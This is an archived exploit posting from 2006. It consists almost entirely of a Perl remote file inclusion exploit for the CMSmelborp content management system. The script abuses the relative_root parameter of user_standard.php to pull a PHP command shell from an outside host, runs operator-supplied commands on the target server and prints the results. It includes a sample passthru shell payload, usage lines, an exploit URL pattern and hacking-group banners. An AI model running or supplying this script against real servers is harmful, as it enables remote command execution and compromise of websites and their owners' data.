Home / os / win10

cmsmelborp.txt

Posted on 14 November 2006

#!/usr/bin/perl ## # Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit # Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon ## # Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip # ## # usage: # perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable> # # perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # # cmd shell variable: ($_GET[cmd]); ## # # #Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke # # Contact:dr.trojan@deltahacking.net ## # Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic) # exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?& ## use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()} head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die " Could Not connect "; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[ ]/[.......]/; if (!$cmd) {print " Please Enter a Command "; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/) {print " Could Not Connect to cmd Host or Invalid Command Variable ";exit} elsif ($return =~/^<br./>.<b>Fatal.error/) {print " Invalid Command or No Return "} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[.......]/[ ]/; print " $finreturn "; last; } else {print "[shell] $";}}}last; sub head() { print " ============================================================================ "; print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%* "; print "============================================================================ "; } sub usage() { head(); print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable> "; print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes "; print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif "; print " <cmd variable> - Command variable used in php shell "; print "============================================================================ "; print " Bug Found DeltahackingSecurityTEAM "; print " Iranian Are The Best In World "; print "============================================================================ "; exit(); }

 

TOP

Malware :